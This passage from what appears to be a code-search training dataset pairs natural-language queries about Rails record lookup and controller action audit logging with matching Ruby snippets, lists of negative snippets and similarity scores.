ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 12 )\n\n end\n\n return hash\n end",
"def to_hash\n # TODO: find a better option to populate the data to the Hash\n image;feed;links;charset;absolute_links;title;meta_keywords\n @data.to_hash\n end"
] |
[
"0.6917243",
"0.64350635",
"0.6405165",
"0.63147473",
"0.61907256",
"0.61576253",
"0.6153634",
"0.61535573",
"0.6138766",
"0.61183774",
"0.6100849",
"0.60820377",
"0.60476077",
"0.5986283",
"0.5972581",
"0.58279985",
"0.58270067",
"0.5826206",
"0.57946",
"0.5779864",
"0.57703406",
"0.57111585",
"0.56814784",
"0.5650859",
"0.5638433",
"0.56125337",
"0.56113183",
"0.5607882",
"0.5590126",
"0.5588241",
"0.5585892",
"0.5580886",
"0.55735064",
"0.5548496",
"0.55407953",
"0.55362034",
"0.5533318",
"0.5521",
"0.5516221",
"0.5510695",
"0.551068",
"0.5504105",
"0.5498214",
"0.5492788",
"0.5491149",
"0.54878044",
"0.5485356",
"0.54796493",
"0.5479126",
"0.5471609",
"0.5470299",
"0.54676795",
"0.54606366",
"0.5460143",
"0.5457196",
"0.545305",
"0.5444684",
"0.5439919",
"0.54357016",
"0.54263234",
"0.54161304",
"0.54018354",
"0.53961277",
"0.5393109",
"0.5391631",
"0.53870094",
"0.537773",
"0.5374796",
"0.5367505",
"0.5355692",
"0.5354624",
"0.5352944",
"0.53519225",
"0.53434056",
"0.53350025",
"0.5326459",
"0.5323055",
"0.5323055",
"0.5323055",
"0.5323055",
"0.5323055",
"0.5323055",
"0.5323055",
"0.5319713",
"0.5319713",
"0.5308112",
"0.5304541",
"0.53016347",
"0.5295828",
"0.52917886",
"0.5289417",
"0.5288574",
"0.5284596",
"0.52816427",
"0.52759534",
"0.5257278",
"0.5255652",
"0.5255652",
"0.5255652",
"0.5255488",
"0.52522576"
] |
0.0
|
-1
|
Only call find_record in a before_filter for methods that should have an id or record_id parameter. Make sure to add exceptions for methods that don't.
|
def find_record
record_id = params[:record_id] || params[:id]
@record = Record.where(medical_record_number: record_id).first
not_found if @record.nil?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_record_by(model)\n raise_must_override\n end",
"def find_record_with_callbacks\n run_callbacks(:before_find)\n result = find_record_without_callbacks\n run_callbacks(:after_find) if result\n result\n end",
"def find_record\n @record ||= model.find_by_id(params[:id])\n end",
"def find_record(xero_id)\n raise_must_override\n end",
"def find_record\n record_id = params[:record_id] || params[:id]\n @record = Record.where(medical_record_number: record_id).first\n raise RequestError.new(404) if @record.nil?\n end",
"def find_records(predicate)\n raise_must_override\n end",
"def prepare_find\n raise Error.new('Cannot find an event without an ID') if id.blank?\n self\n end",
"def find_record\n if record\n self.new_session = false\n return record\n end\n \n find_with.each do |find_method|\n if send(\"valid_#{find_method}?\")\n self.new_session = false\n return record\n end\n end\n nil\n end",
"def find_record\n self.class.model_klass.find(params[:id])\n end",
"def find_model(record)\n raise_must_override\n end",
"def fetch_record_by_param\n model.find(params[:id])\n end",
"def set_record(id = nil, pid = nil)\n unless id.to_i > 0 && self.record = resource_model.includes(includes).find(id.to_i)\n self.record = resource_model.where((pid && where) ? where.call(pid) : {}).new\n self.record.attributes = create_attributes\n end\n end",
"def find_record\n self.class.resource_model.find(params[:id])\n end",
"def find_record #:nodoc:\r\n if @tables.size == 1\r\n @record = @tables.first[0].find(params[:id])\r\n else\r\n rec = @tables.first[0].find(@ids.first) # top most record\r\n 1.upto(@tables.size - 2) { |i| rec = rec.send(@tables[i][1].pluralize).find(@ids[i]) } # find embedded childrens by ids\r\n @record = rec.send(@tables.last[1].pluralize).find(params[:id]) # record to edit\r\n end\r\nend",
"def find_record #:nodoc:\r\n if @tables.size == 1\r\n @record = @tables.first[0].find(params[:id])\r\n else\r\n rec = @tables.first[0].find(@ids.first) # top most record\r\n 1.upto(@tables.size - 2) { |i| rec = rec.send(@tables[i][1].pluralize).find(@ids[i]) } # find embedded childrens by ids\r\n @record = rec.send(@tables.last[1].pluralize).find(params[:id]) # record to edit\r\n end\r\nend",
"def set_record\n begin\n found_record = Record.find(params[:id])\n @record = found_record\n rescue\n raise ActionController::RoutingError.new('Not Found')\n end\n end",
"def get_record\n recordset = self.get_recordset\n find_by_fields = self.get_find_by_fields\n find_by_key = self.get_model.primary_key\n\n # Find by another column if it's permitted.\n if find_by_query_param && params[find_by_query_param].in?(find_by_fields)\n find_by_key = params[find_by_query_param]\n end\n\n # Filter recordset, if configured.\n if self.filter_recordset_before_find\n recordset = self.get_filtered_data(recordset)\n end\n\n # Return the record.\n if find_by_value = params[:id] # Route key is always :id by Rails convention.\n return self.get_recordset.find_by!(find_by_key => find_by_value)\n end\n return nil\n end",
"def find_record(item, no_raise: false, meth: nil, **opt)\n return item if item.nil? || item.is_a?(record_class)\n meth ||= __method__\n record = error = id = sid = nil\n id_key = opt.key?(:id_key) ? opt[:id_key] : id_column\n sid_key = opt.key?(:sid_key) ? opt[:sid_key] : sid_column\n if id_key || sid_key\n opt.merge!(item) if item.is_a?(Hash)\n opt.reverse_merge!(id_term(item, **opt))\n id = id_key && (opt[id_key] || opt[alt_id_key(opt)])\n sid = sid_key && opt[sid_key]\n if valid_sid?(id)\n if sid && (id != sid)\n Log.warn { \"#{meth}: id: #{id.inspect}, but sid: #{sid.inspect}\" }\n end\n id, sid = [nil, id]\n elsif id && sid\n Log.debug do\n \"#{meth}: choosing id: #{id.inspect} over sid: #{sid.inspect}\"\n end\n end\n if id && (id_key == id_column)\n record = record_class.find(id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif id\n record = record_class.find_by(id_key => id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif sid\n record = record_class.find_by(sid_key => sid)\n error = \"for #{sid_key} #{sid.inspect}\" unless record\n else\n error = '%s value given' % [id_key, sid_key].compact.join(' or ')\n end\n error &&= \"No #{record_name} #{error}\"\n else\n error = \"#{record_name}: both :id_key and :sid_key set to nil\"\n end\n if record\n record\n elsif !id && !sid\n Log.info { \"#{meth}: #{error} (no record specified)\" }\n raise_failure(:file_id) unless no_raise\n elsif no_raise\n # noinspection RubyMismatchedReturnType\n Log.warn { \"#{meth}: #{error} (skipping)\" }\n else\n Log.error { \"#{meth}: #{error}\" }\n raise_failure(:find, item) unless no_raise\n end\n end",
"def find_record(item, no_raise: false, meth: nil, **opt)\n # noinspection RubyMismatchedReturnType\n return item if item.nil? || item.is_a?(record_class)\n meth ||= __method__\n record = error = id = nil\n\n id_key = opt.key?(:id_key) ? opt[:id_key] : id_column\n if id_key\n opt.merge!(item) if item.is_a?(Hash)\n opt.reverse_merge!(id_term(item, **opt))\n id = opt[id_key] || opt[alt_id_key(opt)]\n if id && (id_key == id_column)\n record = record_class.find(id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n elsif id\n record = record_class.find_by(id_key => id)\n error = \"for #{id_key} #{id.inspect}\" unless record\n else\n error = \"#{id_key} value given\"\n end\n error &&= \"No #{record_name} #{error}\"\n else\n error = \"#{record_name}: :id_key set to nil\"\n end\n\n if record\n record\n elsif !id\n Log.info { \"#{meth}: #{error} (no record specified)\" }\n raise_failure(:file_id) unless no_raise\n elsif no_raise\n # noinspection RubyMismatchedReturnType\n Log.warn { \"#{meth}: #{error} (skipping)\" }\n else\n Log.error { \"#{meth}: #{error}\" }\n raise_failure(:find, item) unless no_raise\n end\n end",
"def find(*args)\n records = super\n @after.call(records) if @after\n records\n end",
"def find(id)\n\nend",
"def record\n @record ||= if request.path_parameters[:id]\n controller_name.classify.constantize.find_by(id: request.path_parameters[:id])\n end\n end",
"def set_record\n @record = params[:id] ? Record.friendly.find(params[:id]) : Record.new(record_params)\n end",
"def check_record\n return page_not_found if request.path_parameters[:id] && record.nil?\n return page_not_found if parent_params.length != parent_records.compact.length\n records = [record, *parent_records].compact\n page_not_found if records.any? { |r| !r.is_a?(Course) && r.try(:course) != current_course }\n end",
"def set_record_id\n @record_id = params[:record_id] || params[:recordId] || params[:id]\n end",
"def set_recordfile\n @recordfile = Recordfile.find_by_web_id(params[:id])\n raise ActiveRecord::RecordNotFound unless @recordfile\n end",
"def call(records)\n records.each do |rec|\n if rec.is_a?(model)\n change_primary_key(rec)\n # see the class comment on {CompositeFilter}\n rec.instance_eval { remove_instance_variable(:@_key) if defined?(@_key) }\n end\n change_foreign_keys_if_any(rec)\n end\n end",
"def find_record(id)\n @model_class.find(id)\n end",
"def find_record(id)\n @model_class.find(id)\n end",
"def do_nested\n @record = find_if_allowed(params[:id], :read)\n end",
"def find_existing_record\n @record = record_class.find(@locator)\n end",
"def find_existing_record\n @record = record_class.find(@locator)\n end",
"def find_by_name\n not_found and return if params[:id].blank?\n\n name = controller_name.singularize\n cond = \"find\" + (params[:id] =~ /\\A\\d+(-.+)?\\Z/ ? \"\" : \"_by_name\")\n not_found and return unless instance_variable_set(\"@#{name}\", resource_base.send(cond, params[:id]))\n end",
"def set_record_object\n @record_object = RecordObject.find(params[:id])\n end",
"def find(record_id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results= CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n if results.empty? \n return nil\n else \n result=results.first\n self.new(result)\n end\n end",
"def find(record_id) \n result = CONNECTION.execute(\"SELECT * FROM #{self.table_name} WHERE id = #{record_id}\").first\n \n self.new(result)\n end",
"def find(record_id)\n self.new(CONNECTION.execute(\"SELECT * FROM #{get_table_name} WHERE id = #{record_id}\").first)\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def _find_record(options)\n if options && options[:lock]\n self.class.preload(strict_loaded_associations).lock(options[:lock]).find_by!(hid: hid)\n else\n self.class.preload(strict_loaded_associations).find_by!(hid: hid)\n end\n end",
"def find_record_from_identifier(entity)\n model = entity.model\n user_token = request.headers[\"X-#{model.to_s.upcase}-TOKEN\"]\n super if model != User || user_token.blank?\n model.find_by authentication_token: user_token\n end",
"def find(id)\n finder_or_run(:find, id)\n end",
"def find_by_id!(id)\n new(one.find_by_id(id) || raise(RecordNotFound, \"A #{name} record for #{id} does not exist.\"))\n end",
"def find(record_id) \n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n results = QUIZ.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\").first\n self.new(results)\n end",
"def find_record_with_rbac(service, record_id)\n options = @find_with_aggregates ? {:named_scope => :with_aggregates} : {}\n super(service, record_id, options)\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def set_record\n @record = Record.find(params[:id])\n end",
"def find(record_id)\n result = DATABASE.execute(\"SELECT * FROM #{table} WHERE id = #{record_id}\").first\n\n self.new(result)\n end",
"def method_missing(method_id, *arguments, &block)\n if match = DynamicFinderMatch.match(method_id)\n attribute_names = match.attribute_names\n super unless all_attributes_exists?(attribute_names)\n if match.finder?\n finder = match.finder\n bang = match.bang?\n self.class_eval <<-EOS, __FILE__, __LINE__ + 1\n def self.#{method_id}(*args)\n options = args.extract_options!\n attributes = construct_attributes_from_arguments(\n [:#{attribute_names.join(',:')}],\n args\n )\n finder_options = { :conditions => attributes }\n validate_find_options(options)\n\n #{'result = ' if bang}if options[:conditions]\n with_scope(:find => finder_options) do\n find(:#{finder}, options)\n end\n else\n find(:#{finder}, options.merge(finder_options))\n end\n #{'result || raise(RecordNotFound, \"Couldn\\'t find #{name} with #{attributes.to_a.collect {|pair| \"#{pair.first} = #{pair.second}\"}.join(\\', \\')}\")' if bang}\n end\n EOS\n send(method_id, *arguments)\n elsif match.instantiator?\n instantiator = match.instantiator\n self.class_eval <<-EOS, __FILE__, __LINE__ + 1\n def self.#{method_id}(*args)\n attributes = [:#{attribute_names.join(',:')}]\n protected_attributes_for_create, unprotected_attributes_for_create = {}, {}\n args.each_with_index do |arg, i|\n if arg.is_a?(Hash)\n protected_attributes_for_create = args[i].with_indifferent_access\n else\n unprotected_attributes_for_create[attributes[i]] = args[i]\n end\n end\n\n find_attributes = (protected_attributes_for_create.merge(unprotected_attributes_for_create)).slice(*attributes)\n\n options = { :conditions => find_attributes }\n\n record = find(:first, options)\n\n if record.nil?\n record = self.new(unprotected_attributes_for_create)\n #{'record.save' if instantiator == :create}\n record\n else\n record\n end\n end\n EOS\n send(method_id, *arguments, &block)\n end\n else\n super\n end\n end",
"def find_params_id(model)\n model.find(params[:id])\n rescue Exception => e\n redirect_with_flash(e.message) and return nil\n end",
"def include?(record_or_id)\n id = record_or_id.respond_to?(:id) ? record_or_id.id : record_or_id\n\n if loaded? || find_with_proc?\n !!find(id)\n else\n foreign_key_in_proxy_owner_exists? id\n end\n rescue RecordNotFound\n false\n end",
"def set_arbitrary_record\n @arbitrary_record = ArbitraryRecord.find(params[:id])\n end",
"def find(id); end",
"def find(id); end",
"def record_not_found\n begin\n yield\n rescue ActiveRecord::RecordNotFound\n logger.error(\"Attempt to #{action_name} invalid id #{params[:id]}\")\n flash[:error] = \"Invalid ID specified for #{action_name} action.\"\n redirect_to :action => 'index'\n end\n end",
"def find(id)\n raise NotImplementedError\n end",
"def before_embedded(record, action); end",
"def set_record\n @record = current_user.records.find(params[:id])\n end",
"def set_record\n @record = current_user.records.find(params[:id])\n end",
"def record_item(no_exception: false)\n unless respond_to?(:record_type) && respond_to?(:record_id)\n raise FphsException, 'Does not have a record_type or record_id attribute'\n end\n\n rc = ModelReference.to_record_class_for_type record_type\n r = rc.find(record_id)\n unless no_exception || r.can_access?\n raise FphsException, \"User does not have access to record of type #{record_type}\"\n end\n\n r\n end",
"def find(record_id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n end",
"def before(identifier, &block)\n Chef::Sugar::Filters::Injector.new(self, identifier, :before).evaluate(&block)\n end",
"def method_missing(method_id, *arguments)\n if match = /find_(all_by|by)_([_a-zA-Z]\\w*)/.match(method_id.to_s)\n finder = determine_finder(match)\n\n facets = extract_attribute_names_from_match(match)\n super unless all_attributes_exists?(facets)\n\n #Overrride facets to use appropriate attribute name for current locale\n facets.collect! {|attr_name| respond_to?(:globalize_facets) && globalize_facets.include?(attr_name.intern) ? localized_facet(attr_name) : attr_name}\n\n attributes = construct_attributes_from_arguments(facets, arguments)\n\n case extra_options = arguments[facets.size]\n when nil\n options = { :conditions => attributes }\n set_readonly_option!(options)\n ActiveSupport::Deprecation.silence { send(finder, options) }\n\n when Hash\n finder_options = extra_options.merge(:conditions => attributes)\n validate_find_options(finder_options)\n set_readonly_option!(finder_options)\n\n if extra_options[:conditions]\n with_scope(:find => { :conditions => extra_options[:conditions] }) do\n ActiveSupport::Deprecation.silence { send(finder, finder_options) }\n end\n else\n ActiveSupport::Deprecation.silence { send(finder, finder_options) }\n end\n\n else\n raise ArgumentError, \"Unrecognized arguments for #{method_id}: #{extra_options.inspect}\"\n end\n elsif match = /find_or_(initialize|create)_by_([_a-zA-Z]\\w*)/.match(method_id.to_s)\n instantiator = determine_instantiator(match)\n facets = extract_attribute_names_from_match(match)\n super unless all_attributes_exists?(facets)\n\n if arguments[0].is_a?(Hash)\n attributes = arguments[0].with_indifferent_access\n find_attributes = attributes.slice(*facets)\n else\n find_attributes = attributes = construct_attributes_from_arguments(facets, arguments)\n end\n options = { :conditions => find_attributes }\n set_readonly_option!(options)\n\n find_initial(options) || send(instantiator, attributes)\n else\n super\n end\n end",
"def find_resource\n if parent_data.present?\n parent.send(collection_name).find(params[:id])\n else\n model_class.find_by!(account_id: current_account.id, id: params[:id])\n end\n end",
"def find_by_id_or_username!\n if input_is_id?\n find_by_id!\n else\n find_by_username!\n end\n end",
"def load_record!(criteria, &block)\n record = find_or_initialize_by(criteria)\n record.status = STATUS_IMPORTED\n record.updated_at = Time.now\n yield(record)\n record.save!\n end",
"def check_record; end",
"def find_by_id_or_username\n if input_is_id?\n find_by_id\n else\n find_by_username\n end\n end",
"def run_before_save\n return if append_id.blank?\n return if change_set.id == append_id\n return unless change_set.resource.is_a? ScannedResource\n change_set.validate(member_of_collection_ids: [])\n end",
"def include?(record)\n # The existing implementation relies on receiving an Active Record instance as the input parameter named record.\n # Any non-Active Record object passed to this implementation is guaranteed to return `false`.\n return false unless record.is_a?(klass)\n\n if loaded? || offset_value || limit_value || having_clause.any?\n records.include?(record)\n else\n id = if record.class.composite_primary_key?\n record.class.primary_key.zip(record.id).to_h\n else\n record.id\n end\n\n exists?(id)\n end\n end",
"def find_object\n @object = @model_class.find_by_id(params[:id].to_i)\n end",
"def find(id)\n @records.find { |record| record.id == id }\n end",
"def method_missing(method_name, *args)\n\n method = method_name.to_s\n\n if method.end_with? '!'\n method.chop!\n error_on_empty = true\n end\n\n if method.start_with? 'find_all_by_'\n attribs = method.gsub /^find_all_by_/, ''\n elsif method.start_with? 'find_by_'\n attribs = method.gsub /^find_by_/, ''\n limit(1)\n elsif method.start_with? 'find_first_by_'\n limit(1)\n find_first = true\n attribs = method.gsub /^find_first_by_/, ''\n elsif method.start_with? 'find_last_by_'\n limit(1)\n find_last = true\n attribs = method.gsub /^find_last_by_/, ''\n else\n super\n end\n\n attribs = attribs.split '_and_'\n conditions = {}\n attribs.each { |attr| conditions[attr] = args.shift }\n\n where(conditions, *args)\n load\n raise RecordNotFound if error_on_empty && @records.empty?\n return @records.first if limit_value == 1\n @records\n end",
"def include_record?(record_id)\n @records.include?(record_id)\n end",
"def filter(record)\n true\n end",
"def find_account\n @to_find = Account.find(params[:id])\n end",
"def find_account\n @to_find = Account.find(params[:id])\n end",
"def process_entry( attrs )\n options[:before].call(attrs) if options[:before]\n \n record = finder ? finder.call(attrs) : nil\n\n process_record(attrs,record)\n options[:after].call(record) if options[:after]\n record\n end",
"def find_by_id(id)\n raise NotImplementedError.new\n end",
"def before method_or_filter, options={}, &block\n _add_filter(:before, method_or_filter, options, block)\n end",
"def promise_find(id)\n sid = id.to_s\n record_in_progress = if _record_cache.has_key?(sid)\n _record_cache[sid]\n else\n self.new(id: id)\n end\n _promise_find(id, record_in_progress)\n end",
"def apply_filtering(records, params)\n return records unless params[:conditions]\n records.select! do |record|\n params[:conditions].all? do |key, value|\n db_value = record.send(key) if record.respond_to?(key)\n if key == :id\n value = value.is_a?(Array) ? value.map(&:to_i) : value.to_i\n end\n if value.is_a?(Array)\n value.include?(db_value)\n else\n db_value == value\n end\n end\n end\n records\n end",
"def set_find_student\n @find_student = FindStudent.find(params[:id])\n end"
] |
[
"0.6547426",
"0.65013653",
"0.6427717",
"0.6388251",
"0.61578214",
"0.6005255",
"0.59636873",
"0.5933331",
"0.5920814",
"0.59071034",
"0.5800616",
"0.57630265",
"0.57583976",
"0.57572025",
"0.57572025",
"0.5708516",
"0.5683091",
"0.56695384",
"0.5663121",
"0.5562514",
"0.5537913",
"0.5496029",
"0.54779005",
"0.5472546",
"0.5458512",
"0.54510957",
"0.54305923",
"0.5423042",
"0.5423042",
"0.54180914",
"0.5417806",
"0.5417806",
"0.5403434",
"0.54017687",
"0.539341",
"0.5379325",
"0.53724337",
"0.5367289",
"0.5367289",
"0.536667",
"0.5355266",
"0.5281585",
"0.5280645",
"0.5278667",
"0.5278005",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.52232075",
"0.5220631",
"0.5218576",
"0.52166444",
"0.52145386",
"0.521193",
"0.5193425",
"0.5193425",
"0.5165045",
"0.51590854",
"0.5153899",
"0.5095002",
"0.5095002",
"0.50657576",
"0.50647706",
"0.5060393",
"0.50548583",
"0.5047601",
"0.5042764",
"0.5028997",
"0.50221556",
"0.50197077",
"0.5017631",
"0.5008696",
"0.4994853",
"0.4990349",
"0.4983527",
"0.49795833",
"0.4975011",
"0.49626693",
"0.49626693",
"0.49602613",
"0.49412447",
"0.49264324",
"0.49044698",
"0.49037412",
"0.489402"
] |
0.62377965
|
4
|
Track each controller and method (action) call
|
def audit_log_all
if params[:controller] && params[:action]
desc = params[:controller] + "|" + params[:action]
desc << "|id:#{params[:id]}" if params[:id]
## log user email for now
## TODO: change to larger requester info set
if current_user
if desc =~ /sessions\|destroy/
desc << "|LOGOUT"
end
AuditLog.create(requester_info: current_user.email, event: "USER_ACTION", description: desc)
else
AuditLog.create(requester_info: "NONE", event: "USER_ACTION", description: desc)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def track_action\n unless ENV['DISABLE_TRACKING'] == 'true'\n ahoy.track \"#{controller_name}##{action_name}\", request.filtered_parameters\n end\n end",
"def process_action(method_name, *args); end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def instantiate_controller_and_action_names\n @current_action = action_name\n @current_controller = controller_name\n end",
"def instantiate_controller_and_action_names\n @current_action = action_name\n @current_controller = controller_name\n end",
"def instantiate_controller_and_action_names\n @current_action = action_name\n @current_controller = controller_name\n end",
"def instantiate_controller_and_action_names\n @current_action = action_name\n @current_controller = controller_name\n end",
"def instantiate_controller_and_action_names\n\t @current_action = action_name\n\t @current_controller = controller_name\n\tend",
"def controller(controller); end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def actions; end",
"def dispatch_action(req)\n controller = ROUTE_TO_CONTROLLER[req.path_info]\n raise Heartcheck::Errors::RoutingError if controller.nil?\n\n Logger.info \"Start [#{controller}] from #{req.ip} at #{Time.now}\"\n\n controller.new.index.tap do |_|\n Logger.info \"End [#{controller}]\\n\"\n end\n end",
"def start_processing(event)\n payload = event.payload\n\n logger.debug controller: payload[:controller], action: payload[:action], params: payload[:params].except(*INTERNAL_PARAMS)\n end",
"def handle(action, request)\n request.error(404) unless only.include?(action)\n protect!(request) if protect.include?(action)\n \n log_with_benchmark(request, action) do\n instance_exec(request, &self.class.actions[action][:fn])\n end\n end",
"def track\n # Log an event\n params.reject{|k,v| ['action', 'controller'].include? k}.each do |event_type, event_detail|\n Event.create :name => event_type, :description => event_detail,\n :ip => request.remote_ip, :useragent => request.headers['user-agent']\n end\n render :nothing => true\n end",
"def log_dispatch(method, args=[])\n\t\t\tmeth_str = self.class.to_s + \"#\" + method.to_s\n\t\t\tmeth_str += \" #{args.inspect}\" unless args.empty?\n\t\t\tlog \"Dispatching to: #{meth_str}\"\n\t\tend",
"def show # methods in controller are called ACTIONS\n end",
"def view\n logger.info \"in view\"\n show\n render :action=>'show'\nend",
"def set_controller_and_action_names\n @current_controller = controller_name\n @current_action = action_name\n end",
"def actions_cached\n controller.trait[:actions_cached]\n end",
"def identify\n fail \"Controller => #{params[:controller]} Action => #{params[:action]}\\nParams => #{params.inspect}\"\n end",
"def dispatch_action(request)\n method = request_method(request)\n path = request.path.sub(/\\.\\w+$/, '')\n route = @routing.detect { |r| r[0] == method && r[1] == path }\n route[2] if route\n end",
"def index\n @call_to_actions = CallToAction.all\n end",
"def action_hook; end",
"def _dispatch(action=:index)\n start = Time.now\n if self.class.callable_actions.include?(action.to_s)\n super(action)\n else\n raise ActionNotFound, \"Action '#{action}' was not found in #{self.class}\"\n end\n @_benchmarks[:action_time] = Time.now - start\n end",
"def track_action(*actions)\n around_filter ActionTracker, only: actions\n end",
"def log_state\n #debug \"log_state: next controller is #{session[:next_controller]}, next action is #{session[:next_action]}\"\n end",
"def dispatch_action(klass, action, request, response, status=200)\n # build controller\n controller = klass.build(request, response, status)\n # complete setup benchmarking\n #controller._benchmarks[:setup_time] = Time.now - start\n if @@use_mutex\n @@mutex.synchronize { controller.dispatch(action) }\n else\n controller.dispatch(action)\n end\n [controller, action]\n end",
"def run_actions; end",
"def controller_and_action_names\n @current_action = action_name\n @current_controller = controller_name\n #why does this need to be here?\n # @years = @company.financial_years unless @company.blank?\n #current_app( controller_name )\n end",
"def clear_action_methods!; end",
"def clear_action_methods!; end",
"def actions\n %w{capture void}\n end",
"def dispatch(request)\n # {{{\n benchmark_start_time = Time.now \n\n params = Aurita::Attributes.new(request)\n params[:_request] = request\n params[:_session] = Aurita::Session.new(request)\n params[:_logger] = @logger\n params[:_application] = @application\n status = 200\n response_body = ''\n response_header = {}\n\n controller = params[:controller]\n action = params[:action]\n mode = params[:mode]\n controller ||= 'App_Main'\n action ||= 'start'\n mode ||= 'default'\n\n Thread.current['request'] = params\n\n Lore::Connection.reset_query_count()\n Lore::Connection.reset_result_row_count()\n\n begin\n raise ::Exception.new('No controller given') if(controller.nil? || controller == '') \n\n model_klass = @application.get_model_klass(controller)\n controller_klass = @application.get_controller_klass(controller)\n\n raise ::Exception.new('Unknown controller: ' << controller.inspect) unless controller_klass\n \n controller_instance = controller_klass.new(params, model_klass)\n\n response = false\n @logger.debug(\"Calling model interface method #{controller}.#{action}\")\n\n element = controller_instance.call_guarded(action)\n response = controller_instance.response\n if response[:html] == '' then\n if element.is_a?(Aurita::GUI::XML::Document) then\n # Don't use default decorator for XML documents: \n response[:mode] = :none if (!response[:mode] || response[:mode] == :default)\n response[:html] = element.string \n elsif element.respond_to?(:string) then\n # Response is an instance of Aurita::GUI::Element\n response[:html] = element.string \n response[:script] << element.script if element.respond_to?(:script) && element.script\n elsif element.is_a?(Array) then\n element.each { |e|\n response[:html] << e.to_s\n }\n end\n end\n\n response_header.update(response[:http_header]) if response[:http_header]\n if response_header['status_code'] then\n status = response_header['status_code'].to_i \n response_header.delete('status_code')\n end\n\n mode = response[:mode].to_sym if response && response[:mode]\n mode ||= :default \n response[:mode] = mode\n params[:_controller] = controller_instance\n\n response_body = @decorator.render(model_klass, response, params)\n\n @num_dispatches += 1\n\n @benchmark_time = Time.now-benchmark_start_time\n @num_queries = Lore::Connection.query_count\n @num_tuples = Lore::Connection.result_row_count\n Aurita::Plugin_Register.call(Hook.dispatcher.request_finished, \n controller_instance, \n :dispatcher => self, \n :controller => controller_instance, \n :action => action, \n :time => @benchmark_time, \n :num_queries => @num_queries, \n :num_tuples => @num_tuples)\n @logger.debug(\"Num queries: #{@num_queries}\")\n rescue Exception => excep\n @logger.error(excep.message)\n @logger.error(excep.backtrace.join(\"\\n\"))\n response_body = GUI::Error_Page.new(excep).string\n response_body = ''\n end\n\n return [ status, response_header, response_body ]\n end",
"def run(controller)\n track_originating_call\n start_ringback controller\n prep_calls\n place_calls\n end",
"def logme\n\t\tlogger.debug \"============Main ApplicationController get calls at #{Time.now}\"\n\tend",
"def action_run\n end",
"def action_methods\n self.class.action_methods\n end",
"def dispatch_request(request, controller_klass, action, &blk)\n controller = controller_klass.new(request)\n yield controller if block_given?\n controller._dispatch(action)\n\n Merb.logger.info controller._benchmarks.inspect\n Merb.logger.flush\n\n controller\n end",
"def callable_actions\n @callable_actions ||= Merb::SimpleSet.new(begin\n callables = []\n klass = self\n begin\n callables << (klass.public_instance_methods(false) + klass._shown_actions) - klass._hidden_actions\n klass = klass.superclass\n end until klass == Merb::Controller || klass == Object\n callables\n end.flatten)\n end",
"def method_missing *args\n @controller_instance.send *args\n end",
"def action\n end",
"def method_for_action(action_name); end",
"def process_controllers\n\t\t\t\tprocess_services\n\t\t\t\tmodules= jinda_engine::Module.all\n\t\t\t\tmodules.each do |m|\n\t\t\t\t\tnext if controller_exists?(m.code)\n\t\t\t\t\tputs \" Rails generate controller #{m.code}\"\n\t\t\t\tend\n\t\t\tend",
"def method_missing(method, *args, &block)\n if controller.respond_to?(method)\n define_singleton_method(method) do |*args, &block|\n controller.send(method, *args, &block)\n end\n send(method, *args, &block)\n else\n super\n end\n end",
"def controller_name; end",
"def controller_name; end",
"def get_controller_info\n controller_info = {}\n routes = Dir.chdir(::Rails.root.to_s) { `rake routes` }\n routes.split(\"\\n\").each do |entry|\n begin\n method, url, controller_action = entry.split.slice(-3, 3)\n if METHODS.include? method.upcase\n controller, action = controller_action.split('#')\n controller_info[controller] ||= []\n controller_info[controller] << [action, method, url]\n end\n rescue\n end\n end\n controller_info\n end",
"def actions\n actions = ((self.instance_methods(false) - ::Object.methods) + (@action_aliases||{}).keys).\n reject { |a| a.to_s =~ /__appetite__/ }.\n map { |a| a.to_sym }\n return actions if actions.size > 0\n\n define_method :index do |*|\n 'Get rid of this placeholder by defining %s#index' % self.class\n end\n\n [:index]\n end",
"def __calls\n @calls\n end",
"def run(request, response)\n\n match_data = @pattern.match(request.path)\n\n route_params = Hash[match_data.names.zip(match_data.captures)]\n\n @controller_class\n .new(request, response, route_params)\n .invoke_action(action_name)\n end",
